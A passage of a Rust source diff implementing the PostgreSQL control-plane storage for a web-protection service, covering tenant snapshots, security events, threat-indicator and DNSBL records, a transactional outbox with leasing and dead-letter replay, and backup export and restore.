next_audit_log_id: account.get::<_, i64>(1) as u64, + commercial, + threat_feeds, + snapshot_version: account.get::<_, i64>(2) as u64, + }) +} + +async fn save_snapshot( + client: &mut Client, + tenant_id: &str, + data: &AppData, + keep: i64, +) -> Result<(), String> { + let tx = client + .transaction() + .await + .map_err(|error| format!("control plane transaction failed: {error}"))?; + tx.execute( + "SELECT set_config('wardnet.tenant_id', $1, true)", + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane tenant context failed: {error}"))?; + + write_snapshot_rows(&tx, tenant_id, data, true).await?; + enqueue_snapshot_outbox(&tx, tenant_id, data).await?; + prune_processed_outbox(&tx, tenant_id, keep).await?; + + tx.commit() + .await + .map_err(|error| format!("control plane commit failed: {error}"))?; + Ok(()) +} + +async fn write_snapshot_rows( + tx: &Transaction<'_>, + tenant_id: &str, + data: &AppData, + enforce_snapshot_version: bool, +) -> Result<(), String> { + let expected = data.snapshot_version as i64; + let next_version = if enforce_snapshot_version { + expected.saturating_add(1) + } else { + expected + }; + let written = if enforce_snapshot_version { + tx.execute( + "INSERT INTO tenant_account (tenant_id, event_sequence, audit_sequence, snapshot_version) + VALUES ($1, $2, $3, $4) + ON CONFLICT (tenant_id) DO UPDATE SET + event_sequence = GREATEST(tenant_account.event_sequence, EXCLUDED.event_sequence), + audit_sequence = EXCLUDED.audit_sequence, + snapshot_version = EXCLUDED.snapshot_version + WHERE tenant_account.snapshot_version = $5", + &[ + &tenant_id, + &(data.next_event_id as i64), + &(data.next_audit_log_id as i64), + &next_version, + &expected, + ], + ) + .await + .map_err(|error| format!("control plane upsert tenant_account failed: {error}"))? + } else { + tx.execute( + "INSERT INTO tenant_account (tenant_id, event_sequence, audit_sequence, snapshot_version) + VALUES ($1, $2, $3, $4) + ON CONFLICT (tenant_id) DO UPDATE SET + event_sequence = EXCLUDED.event_sequence, + audit_sequence = EXCLUDED.audit_sequence, + snapshot_version = GREATEST(tenant_account.snapshot_version, EXCLUDED.snapshot_version) + 1", + &[ + &tenant_id, + &(data.next_event_id as i64), + &(data.next_audit_log_id as i64), + &next_version, + ], + ) + .await + .map_err(|error| format!("control plane upsert tenant_account failed: {error}"))? + }; + if enforce_snapshot_version && written == 0 { + return Err("control plane snapshot conflict".to_string()); + } + + for table in [ + "route_config", + "threat_indicator", + "dnsbl_entry", + "audit_record", + "threat_feed", + "tenant_profile", + ] { + tx.execute( + &format!("DELETE FROM {table} WHERE tenant_id = $1"), + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane delete {table} failed: {error}"))?; + } + tx.execute( + "DELETE FROM security_event WHERE tenant_id = $1", + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane delete security_event failed: {error}"))?; + + let features = serde_json::to_string(&data.commercial.features) + .expect("feature list is JSON-serializable"); + tx.execute( + "INSERT INTO tenant_profile ( + tenant_id, deployment_id, edition_name, license_status, license_id, + licensee_name, licensed_until_unix, licensed_node_count, + annual_contract_value_krw, support_contact, feature_list + ) VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11)", + &[ + &tenant_id, + &data.commercial.deployment_id, + &edition_sql(&data.commercial.edition), + &license_sql(&data.commercial.license_status), + &data.commercial.license_id, + &data.commercial.licensee, + &data.commercial.licensed_until_unix.map(|v| v as i64), + &data.commercial.licensed_node_count.map(|v| v as i32), + &data.commercial.annual_contract_value_krw.map(|v| v as i64), + &data.commercial.support_contact, + &features, + ], + ) + .await + .map_err(|error| format!("control plane insert tenant_profile failed: {error}"))?; + + for route in &data.routes { + tx.execute( + "INSERT INTO route_config ( + tenant_id, route_id, path_prefix, upstream_url, enforcement_mode, + is_enabled, block_threshold + ) VALUES ($1,$2,$3,$4,$5,$6,$7)", + &[ + &tenant_id, + &route.id, + &route.path_prefix, + &route.upstream, + &mode_sql(&route.mode), + &route.enabled, + &route.block_threshold.map(i32::from), + ], + ) + .await + .map_err(|error| format!("control plane insert route_config failed: {error}"))?; + } + + for threat in &data.threats { + tx.execute( + "INSERT INTO threat_indicator ( + tenant_id, indicator_type, indicator_value, indicator_source, + severity_name, ttl_seconds + ) VALUES ($1,$2,$3,$4,$5,$6)", + &[ + &tenant_id, + &threat.indicator_type, + &threat.value, + &threat.source, + &severity_sql(&threat.severity), + &(threat.ttl_seconds as i64), + ], + ) + .await + .map_err(|error| format!("control plane insert threat_indicator failed: {error}"))?; + } + + for entry in &data.dnsbl { + let address = entry.address.to_string(); + tx.execute( + "INSERT INTO dnsbl_entry ( + tenant_id, host_address, response_code, block_reason, entry_source, + ttl_seconds, prefix_length + ) VALUES ($1,$2,$3,$4,$5,$6,$7)", + &[ + &tenant_id, + &address, + &entry.code, + &entry.reason, + &entry.source, + &(entry.ttl_seconds as i64), + &entry.prefix_len.map(i16::from), + ], + ) + .await + .map_err(|error| format!("control plane insert dnsbl_entry failed: {error}"))?; + } + + for event in &data.events { + let client_address = event.client_ip.map(|ip| ip.to_string()); + tx.execute( + "INSERT INTO security_event ( + tenant_id, event_id, timestamp_unix, client_address, route_id, + action_name, event_reason, event_score, request_path + ) VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9) + ON CONFLICT (tenant_id, event_id) DO NOTHING", + &[ + &tenant_id, + &(event.id as i64), + &(event.timestamp_unix as i64), + &client_address, + &event.route_id, + &event.action, + &event.reason, + &i32::from(event.score), + &event.path, + ], + ) + .await + .map_err(|error| format!("control plane insert security_event failed: {error}"))?; + } + + for audit in &data.audit_logs { + tx.execute( + "INSERT INTO audit_record ( + tenant_id, audit_id, timestamp_unix, actor_name, action_name, + resource_name, resource_id, action_outcome + ) VALUES ($1,$2,$3,$4,$5,$6,$7,$8)", + &[ + &tenant_id, + &(audit.id as i64), + &(audit.timestamp_unix as i64), + &audit.actor, + &audit.action, + &audit.resource, + &audit.resource_id, + &audit.outcome, + ], + ) + .await + .map_err(|error| format!("control plane insert audit_record failed: {error}"))?; + } + + for feed in &data.threat_feeds { + tx.execute( + "INSERT INTO threat_feed ( + tenant_id, feed_id, feed_source, last_updated_unix, threat_count, + dnsbl_count, ttl_seconds + ) VALUES ($1,$2,$3,$4,$5,$6,$7)", + &[ + &tenant_id, + &feed.feed_id, + &feed.source, + &(feed.last_updated_unix as i64), + &(feed.threat_count as i32), + &(feed.dnsbl_count as i32), + &(feed.ttl_seconds as i64), + ], + ) + .await + .map_err(|error| format!("control plane insert threat_feed failed: {error}"))?; + } + Ok(()) +} + +async fn load_commercial( + client: &C, + tenant_id: &str, +) -> Result { + let row = client + .query_opt( + "SELECT deployment_id, edition_name, license_status, license_id, licensee_name, + licensed_until_unix, licensed_node_count, annual_contract_value_krw, + support_contact, feature_list + FROM tenant_profile WHERE tenant_id = $1", + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane load tenant_profile failed: {error}"))?; + let Some(row) = row else { + return Ok(seeded_commercial_for_tenant(tenant_id)); + }; + let features: String = row.get(9); + Ok(CommercialProfile { + tenant_id: tenant_id.to_string(), + deployment_id: row.get(0), + edition: parse_edition(row.get(1))?, + license_status: parse_license(row.get(2))?, + license_id: row.get(3), + licensee: row.get(4), + licensed_until_unix: row.get::<_, Option>(5).map(|v| v as u64), + licensed_node_count: row.get::<_, Option>(6).map(|v| v as u32), + annual_contract_value_krw: row.get::<_, Option>(7).map(|v| v as u64), + support_contact: row.get(8), + features: serde_json::from_str(&features) + .map_err(|error| format!("control plane feature_list is not JSON: {error}"))?, + }) +} + +fn seeded_commercial_for_tenant(tenant_id: &str) -> CommercialProfile { + CommercialProfile { + tenant_id: tenant_id.to_string(), + ..CommercialProfile::seeded() + } +} + +async fn load_routes( + client: &C, + tenant_id: &str, +) -> Result, String> { + let rows = client + .query( + "SELECT route_id, path_prefix, upstream_url, enforcement_mode, is_enabled, block_threshold + FROM route_config WHERE tenant_id = $1 ORDER BY route_id", + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane load route_config failed: {error}"))?; + rows.iter() + .map(|row| { + Ok(RouteConfig { + id: row.get(0), + path_prefix: row.get(1), + upstream: row.get(2), + mode: parse_mode(row.get(3))?, + enabled: row.get(4), + block_threshold: row.get::<_, Option>(5).map(|v| v as u16), + }) + }) + .collect() +} + +async fn load_threats( + client: &C, + tenant_id: &str, +) -> Result, String> { + let rows = client + .query( + "SELECT indicator_type, indicator_value, indicator_source, severity_name, ttl_seconds + FROM threat_indicator WHERE tenant_id = $1 + ORDER BY indicator_type, indicator_value, indicator_source", + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane load threat_indicator failed: {error}"))?; + rows.iter() + .map(|row| { + Ok(ThreatIndicator { + indicator_type: row.get(0), + value: row.get(1), + source: row.get(2), + severity: parse_severity(row.get(3))?, + ttl_seconds: row.get::<_, i64>(4) as u64, + }) + }) + .collect() +} + +async fn load_dnsbl( + client: &C, + tenant_id: &str, +) -> Result, String> { + let rows = client + .query( + "SELECT host_address, response_code, block_reason, entry_source, ttl_seconds, prefix_length + FROM dnsbl_entry WHERE tenant_id = $1 ORDER BY host_address", + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane load dnsbl_entry failed: {error}"))?; + rows.iter() + .map(|row| { + let address: String = row.get(0); + Ok(DnsblEntry { + address: IpAddr::from_str(&address) + .map_err(|error| format!("control plane host_address {address}: {error}"))?, + code: row.get(1), + reason: row.get(2), + source: row.get(3), + ttl_seconds: row.get::<_, i64>(4) as u64, + prefix_len: row.get::<_, Option>(5).map(|v| v as u8), + }) + }) + .collect() +} + +async fn load_events( + client: &C, + tenant_id: &str, +) -> Result, String> { + let rows = client + .query( + "SELECT event_id, timestamp_unix, client_address, route_id, action_name, + event_reason, event_score, request_path + FROM security_event WHERE tenant_id = $1 ORDER BY event_id", + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane load security_event failed: {error}"))?; + rows.iter() + .map(|row| { + let client_address: Option = row.get(2); + Ok(SecurityEvent { + id: row.get::<_, i64>(0) as u64, + timestamp_unix: row.get::<_, i64>(1) as u64, + client_ip: client_address + .map(|value| { + IpAddr::from_str(&value).map_err(|error| { + format!("control plane client_address {value}: {error}") + }) + }) + .transpose()?, + route_id: row.get(3), + action: row.get(4), + reason: row.get(5), + score: row.get::<_, i32>(6) as u16, + path: row.get(7), + }) + }) + .collect() +} + +async fn load_audit( + client: &C, + tenant_id: &str, +) -> Result, String> { + let rows = client + .query( + "SELECT audit_id, timestamp_unix, actor_name, action_name, resource_name, + resource_id, action_outcome + FROM audit_record WHERE tenant_id = $1 ORDER BY audit_id", + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane load audit_record failed: {error}"))?; + Ok(rows + .iter() + .map(|row| AuditLogEntry { + id: row.get::<_, i64>(0) as u64, + timestamp_unix: row.get::<_, i64>(1) as u64, + actor: row.get(2), + action: row.get(3), + resource: row.get(4), + resource_id: row.get(5), + outcome: row.get(6), + }) + .collect()) +} + +async fn load_feeds( + client: &C, + tenant_id: &str, +) -> Result, String> { + let rows = client + .query( + "SELECT feed_id, feed_source, last_updated_unix, threat_count, dnsbl_count, ttl_seconds + FROM threat_feed WHERE tenant_id = $1 ORDER BY feed_id", + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane load threat_feed failed: {error}"))?; + Ok(rows + .iter() + .map(|row| ThreatFeedStatus { + feed_id: row.get(0), + source: row.get(1), + last_updated_unix: row.get::<_, i64>(2) as u64, + threat_count: row.get::<_, i32>(3) as usize, + dnsbl_count: row.get::<_, i32>(4) as usize, + ttl_seconds: row.get::<_, i64>(5) as u64, + }) + .collect()) +} + +async fn enqueue_snapshot_outbox( + tx: &Transaction<'_>, + tenant_id: &str, + data: &AppData, +) -> Result<(), String> { + let payload = serde_json::json!({ + "route_count": data.routes.len(), + "threat_count": data.threats.len(), + "dnsbl_count": data.dnsbl.len(), + "event_count": data.events.len(), + "audit_count": data.audit_logs.len(), + "event_sequence": data.next_event_id, + "audit_sequence": data.next_audit_log_id, + }) + .to_string(); + let hash = outbox::payload_hash(&payload); + let (message_id, idempotency_key) = + outbox::snapshot_ids(tenant_id, data.next_event_id, data.next_audit_log_id, &hash); + insert_outbox( + tx, + tenant_id, + &OutboxInsert { + message_id, + aggregate_id: tenant_id.to_string(), + aggregate_version: data.next_audit_log_id as i64, + event_type: EVENT_SNAPSHOT_REPLACED, + created_unix: unix_now_i64(), + payload_json: payload, + payload_hash: hash, + idempotency_key, + }, + ) + .await +} + +async fn append_security_event( + client: &mut Client, + tenant_id: &str, + event: &SecurityEvent, + event_limit: usize, +) -> Result<(SecurityEvent, u64), String> { + let tx = client + .transaction() + .await + .map_err(|error| format!("control plane event transaction failed: {error}"))?; + tx.execute( + "SELECT set_config('wardnet.tenant_id', $1, true)", + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane tenant context failed: {error}"))?; + + let account = tx + .query_one( + "INSERT INTO tenant_account (tenant_id, event_sequence, audit_sequence, snapshot_version) + VALUES ($1, 2, 1, 1) + ON CONFLICT (tenant_id) DO UPDATE SET + event_sequence = tenant_account.event_sequence + 1, + snapshot_version = tenant_account.snapshot_version + 1 + RETURNING event_sequence, snapshot_version", + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane reserve security_event id failed: {error}"))?; + let next_event_id: i64 = account.get(0); + let snapshot_version: i64 = account.get(1); + let persisted_event_id = next_event_id.saturating_sub(1) as u64; + let mut persisted_event = event.clone(); + persisted_event.id = persisted_event_id; + + let client_address = persisted_event.client_ip.map(|ip| ip.to_string()); + let inserted = tx + .execute( + "INSERT INTO security_event ( + tenant_id, event_id, timestamp_unix, client_address, route_id, + action_name, event_reason, event_score, request_path + ) VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9) + ON CONFLICT (tenant_id, event_id) DO NOTHING", + &[ + &tenant_id, + &(persisted_event.id as i64), + &(persisted_event.timestamp_unix as i64), + &client_address, + &persisted_event.route_id, + &persisted_event.action, + &persisted_event.reason, + &i32::from(persisted_event.score), + &persisted_event.path, + ], + ) + .await + .map_err(|error| format!("control plane insert security_event failed: {error}"))?; + if inserted == 0 { + return Err("control plane reserved duplicate security_event id".to_string()); + } + + let keep_from = next_event_id.saturating_sub(event_limit.max(1) as i64); + tx.execute( + "DELETE FROM security_event WHERE tenant_id = $1 AND event_id < $2", + &[&tenant_id, &keep_from], + ) + .await + .map_err(|error| format!("control plane event retention failed: {error}"))?; + + let payload = + serde_json::to_string(&persisted_event).expect("SecurityEvent is JSON-serializable"); + let hash = outbox::payload_hash(&payload); + let (message_id, idempotency_key) = outbox::security_event_ids(tenant_id, persisted_event.id); + insert_outbox( + &tx, + tenant_id, + &OutboxInsert { + message_id, + aggregate_id: persisted_event.id.to_string(), + aggregate_version: persisted_event.id as i64, + event_type: EVENT_SECURITY_RECORDED, + created_unix: persisted_event.timestamp_unix as i64, + payload_json: payload, + payload_hash: hash, + idempotency_key, + }, + ) + .await?; + prune_processed_outbox(&tx, tenant_id, event_limit as i64).await?; + + tx.commit() + .await + .map_err(|error| format!("control plane event commit failed: {error}"))?; + Ok((persisted_event, snapshot_version as u64)) +} + +struct OutboxInsert { + message_id: String, + aggregate_id: String, + aggregate_version: i64, + event_type: &'static str, + created_unix: i64, + payload_json: String, + payload_hash: String, + idempotency_key: String, +} + +async fn insert_outbox( + tx: &Transaction<'_>, + tenant_id: &str, + row: &OutboxInsert, +) -> Result<(), String> { + tx.execute( + "INSERT INTO outbox_message ( + tenant_id, message_id, aggregate_id, aggregate_version, event_type, + schema_version, created_unix, payload_json, payload_hash, idempotency_key, + message_status, attempt_count, next_available_unix + ) VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,0,$7) + ON CONFLICT (tenant_id, idempotency_key) DO NOTHING", + &[ + &tenant_id, + &row.message_id, + &row.aggregate_id, + &row.aggregate_version, + &row.event_type, + &SCHEMA_VERSION, + &row.created_unix, + &row.payload_json, + &row.payload_hash, + &row.idempotency_key, + &STATUS_PENDING, + ], + ) + .await + .map_err(|error| format!("control plane insert outbox_message failed: {error}"))?; + Ok(()) +} + +#[cfg(test)] +async fn drain_once( + client: &mut Client, + tenant_id: &str, + owner: &str, + now_unix: i64, + keep: i64, + dispatch: F, +) -> Result +where + F: Fn(&OutboxMessage) -> Result, +{ + let claimed = claim_batch(client, tenant_id, owner, now_unix).await?; + let mut processed = 0; + for message in claimed { + if receipt_exists(client, tenant_id, &message.idempotency_key).await? { + ack_processed( + client, + tenant_id, + &message, + "duplicate-receipt", + now_unix, + keep, + ) + .await?; + processed += 1; + continue; + } + match dispatch(&message) { + Ok(evidence) => { + ack_processed(client, tenant_id, &message, &evidence, now_unix, keep).await?; + processed += 1; + } + Err(error) => { + fail_claimed(client, tenant_id, &message, now_unix, &error).await?; + } + } + } + Ok(processed) +} + +async fn claim_batch( + client: &mut Client, + tenant_id: &str, + owner: &str, + now_unix: i64, +) -> Result, String> { + let tx = client + .transaction() + .await + .map_err(|error| format!("control plane claim transaction failed: {error}"))?; + tx.execute( + "SELECT set_config('wardnet.tenant_id', $1, true)", + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane tenant context failed: {error}"))?; + let lease_expires = now_unix.saturating_add(LEASE_SECONDS); + let rows = tx + .query( + "WITH picked AS ( + SELECT message_id FROM outbox_message + WHERE tenant_id = $1 + AND ( + (message_status = $2 AND next_available_unix <= $5) + OR (message_status = $3 AND COALESCE(lease_expires_unix, 0) <= $5) + ) + ORDER BY aggregate_id, aggregate_version, created_unix + FOR UPDATE SKIP LOCKED + LIMIT $6 + ) + UPDATE outbox_message AS message + SET message_status = $3, + lease_owner = $4, + lease_expires_unix = $7, + attempt_count = message.attempt_count + 1, + first_attempt_unix = COALESCE(message.first_attempt_unix, $5), + last_attempt_unix = $5 + FROM picked + WHERE message.tenant_id = $1 AND message.message_id = picked.message_id + RETURNING message.message_id, message.aggregate_id, message.aggregate_version, + message.event_type, message.schema_version, message.created_unix, + message.payload_json, message.payload_hash, message.idempotency_key, + message.message_status, message.lease_owner, message.lease_expires_unix, + message.attempt_count, message.first_attempt_unix, + message.last_attempt_unix, message.next_available_unix, + message.terminal_reason", + &[ + &tenant_id, + &STATUS_PENDING, + &STATUS_LEASED, + &owner, + &now_unix, + &CLAIM_BATCH, + &lease_expires, + ], + ) + .await + .map_err(|error| format!("control plane claim outbox failed: {error}"))?; + let messages = rows + .iter() + .map(|row| row_to_outbox(row, tenant_id)) + .collect(); + tx.commit() + .await + .map_err(|error| format!("control plane claim commit failed: {error}"))?; + Ok(messages) +} + +fn row_to_outbox(row: &tokio_postgres::Row, tenant_id: &str) -> OutboxMessage { + OutboxMessage { + message_id: row.get(0), + tenant_id: tenant_id.to_string(), + aggregate_id: row.get(1), + aggregate_version: row.get(2), + event_type: row.get(3), + schema_version: row.get(4), + created_unix: row.get(5), + payload_json: row.get(6), + payload_hash: row.get(7), + idempotency_key: row.get(8), + message_status: row.get(9), + lease_owner: row.get(10), + lease_expires_unix: row.get(11), + attempt_count: row.get(12), + first_attempt_unix: row.get(13), + last_attempt_unix: row.get(14), + next_available_unix: row.get(15), + terminal_reason: row.get(16), + } +} + +async fn receipt_exists( + client: &mut Client, + tenant_id: &str, + idempotency_key: &str, +) -> Result { + let tx = client + .transaction() + .await + .map_err(|error| format!("control plane receipt transaction failed: {error}"))?; + tx.execute( + "SELECT set_config('wardnet.tenant_id', $1, true)", + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane tenant context failed: {error}"))?; + let row = tx + .query_opt( + "SELECT 1 FROM outbox_receipt WHERE tenant_id = $1 AND idempotency_key = $2", + &[&tenant_id, &idempotency_key], + ) + .await + .map_err(|error| format!("control plane load outbox_receipt failed: {error}"))?; + tx.commit() + .await + .map_err(|error| format!("control plane receipt commit failed: {error}"))?; + Ok(row.is_some()) +} + +async fn ack_processed( + client: &mut Client, + tenant_id: &str, + message: &OutboxMessage, + evidence: &str, + now_unix: i64, + keep: i64, +) -> Result<(), String> { + let tx = client + .transaction() + .await + .map_err(|error| format!("control plane ack transaction failed: {error}"))?; + tx.execute( + "SELECT set_config('wardnet.tenant_id', $1, true)", + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane tenant context failed: {error}"))?; + tx.execute( + "INSERT INTO outbox_receipt ( + tenant_id, idempotency_key, message_id, processed_unix, receipt_evidence + ) VALUES ($1,$2,$3,$4,$5) + ON CONFLICT (tenant_id, idempotency_key) DO NOTHING", + &[ + &tenant_id, + &message.idempotency_key, + &message.message_id, + &now_unix, + &evidence, + ], + ) + .await + .map_err(|error| format!("control plane insert outbox_receipt failed: {error}"))?; + tx.execute( + "UPDATE outbox_message + SET message_status = $3, lease_owner = NULL, lease_expires_unix = NULL, + terminal_reason = NULL, next_available_unix = $4 + WHERE tenant_id = $1 AND message_id = $2", + &[ + &tenant_id, + &message.message_id, + &STATUS_PROCESSED, + &now_unix, + ], + ) + .await + .map_err(|error| format!("control plane ack outbox_message failed: {error}"))?; + prune_processed_outbox(&tx, tenant_id, keep).await?; + tx.commit() + .await + .map_err(|error| format!("control plane ack commit failed: {error}"))?; + Ok(()) +} + +async fn fail_claimed( + client: &mut Client, + tenant_id: &str, + message: &OutboxMessage, + now_unix: i64, + error: &DispatchError, +) -> Result<(), String> { + let dead = outbox::should_dead_letter(message.attempt_count, error); + let status = if dead { + STATUS_DEAD_LETTER + } else { + STATUS_PENDING + }; + let next = if dead { + now_unix + } else { + outbox::next_available_unix(now_unix, message.attempt_count, &message.message_id) + }; + let reason = error.as_str(); + let tx = client + .transaction() + .await + .map_err(|error| format!("control plane fail transaction failed: {error}"))?; + tx.execute( + "SELECT set_config('wardnet.tenant_id', $1, true)", + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane tenant context failed: {error}"))?; + tx.execute( + "UPDATE outbox_message + SET message_status = $3, lease_owner = NULL, lease_expires_unix = NULL, + next_available_unix = $4, terminal_reason = $5 + WHERE tenant_id = $1 AND message_id = $2", + &[&tenant_id, &message.message_id, &status, &next, &reason], + ) + .await + .map_err(|error| format!("control plane fail outbox_message failed: {error}"))?; + tx.commit() + .await + .map_err(|error| format!("control plane fail commit failed: {error}"))?; + Ok(()) +} + +async fn outbox_health( + client: &mut Client, + tenant_id: &str, + now_unix: i64, +) -> Result { + let tx = client + .transaction() + .await + .map_err(|error| format!("control plane health transaction failed: {error}"))?; + tx.execute( + "SELECT set_config('wardnet.tenant_id', $1, true)", + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane tenant context failed: {error}"))?; + let row = tx + .query_one( + "SELECT + COUNT(*) FILTER (WHERE message_status = $2), + COUNT(*) FILTER (WHERE message_status = $3), + COUNT(*) FILTER (WHERE message_status = $4), + MIN(created_unix) FILTER ( + WHERE message_status IN ($2, $3) + ) + FROM outbox_message WHERE tenant_id = $1", + &[ + &tenant_id, + &STATUS_PENDING, + &STATUS_LEASED, + &STATUS_DEAD_LETTER, + ], + ) + .await + .map_err(|error| format!("control plane outbox health failed: {error}"))?; + let oldest: Option = row.get(3); + tx.commit() + .await + .map_err(|error| format!("control plane health commit failed: {error}"))?; + Ok(OutboxHealth { + status: "ready".to_string(), + pending: row.get(0), + leased: row.get(1), + dead_letter: row.get(2), + oldest_age_seconds: oldest.map(|created| now_unix.saturating_sub(created).max(0)), + }) +} + +async fn prune_processed_outbox( + client: &C, + tenant_id: &str, + keep: i64, +) -> Result<(), String> { + let keep = keep.max(1); + client + .execute( + "DELETE FROM outbox_message + WHERE tenant_id = $1 + AND message_status = $2 + AND message_id IN ( + SELECT message_id FROM ( + SELECT message_id FROM outbox_message + WHERE tenant_id = $1 AND message_status = $2 + ORDER BY created_unix DESC, message_id DESC + OFFSET $3 + ) old_processed + )", + &[&tenant_id, &STATUS_PROCESSED, &keep], + ) + .await + .map_err(|error| format!("control plane prune outbox_message failed: {error}"))?; + Ok(()) +} + +async fn list_outbox( + client: &mut Client, + tenant_id: &str, + limit: i64, +) -> Result, String> { + let tx = client + .transaction() + .await + .map_err(|error| format!("control plane list transaction failed: {error}"))?; + tx.execute( + "SELECT set_config('wardnet.tenant_id', $1, true)", + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane tenant context failed: {error}"))?; + let messages = list_outbox_rows(&tx, tenant_id, limit).await?; + tx.commit() + .await + .map_err(|error| format!("control plane list commit failed: {error}"))?; + Ok(messages) +} + +async fn list_outbox_rows( + client: &C, + tenant_id: &str, + limit: i64, +) -> Result, String> { + let rows = client + .query( + "SELECT message_id, aggregate_id, aggregate_version, event_type, schema_version, + created_unix, payload_json, payload_hash, idempotency_key, message_status, + lease_owner, lease_expires_unix, attempt_count, first_attempt_unix, + last_attempt_unix, next_available_unix, terminal_reason + FROM outbox_message WHERE tenant_id = $1 + ORDER BY CASE message_status + WHEN 'dead_letter' THEN 0 + WHEN 'pending' THEN 1 + WHEN 'leased' THEN 2 + ELSE 3 + END, + created_unix DESC, message_id DESC + LIMIT $2", + &[&tenant_id, &limit], + ) + .await + .map_err(|error| format!("control plane list outbox failed: {error}"))?; + Ok(rows + .iter() + .map(|row| row_to_outbox(row, tenant_id)) + .collect()) +} + +async fn replay_dead_letter( + client: &mut Client, + tenant_id: &str, + message_id: &str, + now_unix: i64, +) -> Result<(), String> { + let tx = client + .transaction() + .await + .map_err(|error| format!("control plane replay transaction failed: {error}"))?; + tx.execute( + "SELECT set_config('wardnet.tenant_id', $1, true)", + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane tenant context failed: {error}"))?; + let updated = tx + .execute( + "UPDATE outbox_message + SET message_status = $3, lease_owner = NULL, lease_expires_unix = NULL, + attempt_count = 0, next_available_unix = $4, terminal_reason = NULL + WHERE tenant_id = $1 AND message_id = $2 AND message_status = $5", + &[ + &tenant_id, + &message_id, + &STATUS_PENDING, + &now_unix, + &STATUS_DEAD_LETTER, + ], + ) + .await + .map_err(|error| format!("control plane replay outbox failed: {error}"))?; + if updated != 1 { + tx.rollback() + .await + .map_err(|error| format!("control plane replay rollback failed: {error}"))?; + return Err(format!("outbox message {message_id} is not in dead_letter")); + } + tx.commit() + .await + .map_err(|error| format!("control plane replay commit failed: {error}"))?; + Ok(()) +} + +async fn export_backup(client: &mut Client, tenant_id: &str) -> Result { + let tx = client + .transaction() + .await + .map_err(|error| format!("control plane backup transaction failed: {error}"))?; + tx.execute( + "SET TRANSACTION ISOLATION LEVEL REPEATABLE READ READ ONLY", + &[], + ) + .await + .map_err(|error| format!("control plane backup isolation failed: {error}"))?; + tx.execute( + "SELECT set_config('wardnet.tenant_id', $1, true)", + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane tenant context failed: {error}"))?; + let account = tx + .query_opt( + "SELECT event_sequence, audit_sequence, snapshot_version FROM tenant_account WHERE tenant_id = $1", + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane load tenant_account failed: {error}"))?; + let Some(account) = account else { + tx.rollback() + .await + .map_err(|error| format!("control plane backup rollback failed: {error}"))?; + return Err(format!("tenant {tenant_id} has no snapshot to back up")); + }; + let snapshot = load_snapshot_rows(&tx, tenant_id, &account).await?; + let outbox = list_outbox_rows(&tx, tenant_id, i64::MAX).await?; + let receipts = list_receipts_rows(&tx, tenant_id).await?; + let backup = ControlPlaneBackup { + schema_version: MIGRATION_VERSION, + tenant_id: tenant_id.to_string(), + created_unix: unix_now_i64(), + snapshot, + outbox, + receipts, + payload_hash: String::new(), + } + .seal()?; + tx.commit() + .await + .map_err(|error| format!("control plane backup commit failed: {error}"))?; + Ok(backup) +} + +async fn list_receipts_rows( + client: &C, + tenant_id: &str, +) -> Result, String> { + let rows = client + .query( + "SELECT idempotency_key, message_id, processed_unix, receipt_evidence + FROM outbox_receipt WHERE tenant_id = $1 + ORDER BY processed_unix, idempotency_key", + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane list outbox_receipt failed: {error}"))?; + Ok(rows + .iter() + .map(|row| OutboxReceiptRow { + tenant_id: tenant_id.to_string(), + idempotency_key: row.get(0), + message_id: row.get(1), + processed_unix: row.get(2), + receipt_evidence: row.get(3), + }) + .collect()) +} + +async fn restore_backup( + client: &mut Client, + tenant_id: &str, + backup: &ControlPlaneBackup, +) -> Result<(), String> { + backup.verify()?; + let tx = client + .transaction() + .await + .map_err(|error| format!("control plane restore transaction failed: {error}"))?; + tx.execute( + "SELECT set_config('wardnet.tenant_id', $1, true)", + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane tenant context failed: {error}"))?; + write_snapshot_rows(&tx, tenant_id, &backup.snapshot, false).await?; + for table in ["outbox_receipt", "outbox_message"] { + tx.execute( + &format!("DELETE FROM {table} WHERE tenant_id = $1"), + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane delete {table} failed: {error}"))?; + } + for message in &backup.outbox { + insert_restored_outbox(&tx, tenant_id, message).await?; + } + for receipt in &backup.receipts { + tx.execute( + "INSERT INTO outbox_receipt ( + tenant_id, idempotency_key, message_id, processed_unix, receipt_evidence + ) VALUES ($1,$2,$3,$4,$5)", + &[ + &tenant_id, + &receipt.idempotency_key, + &receipt.message_id, + &receipt.processed_unix, + &receipt.receipt_evidence, + ], + ) + .await + .map_err(|error| format!("control plane restore outbox_receipt failed: {error}"))?; + } + tx.commit() + .await + .map_err(|error| format!("control plane restore commit failed: {error}"))?; + Ok(()) +} + +async fn insert_restored_outbox( + tx: &Transaction<'_>, + tenant_id: &str, + message: &OutboxMessage, +) -> Result<(), String> { + tx.execute( + "INSERT INTO outbox_message ( + tenant_id, message_id, aggregate_id, aggregate_version, event_type, + schema_version, created_unix, payload_json, payload_hash, idempotency_key, + message_status, lease_owner, lease_expires_unix, attempt_count, + first_attempt_unix, last_attempt_unix, next_available_unix, terminal_reason + ) VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18)", + &[ + 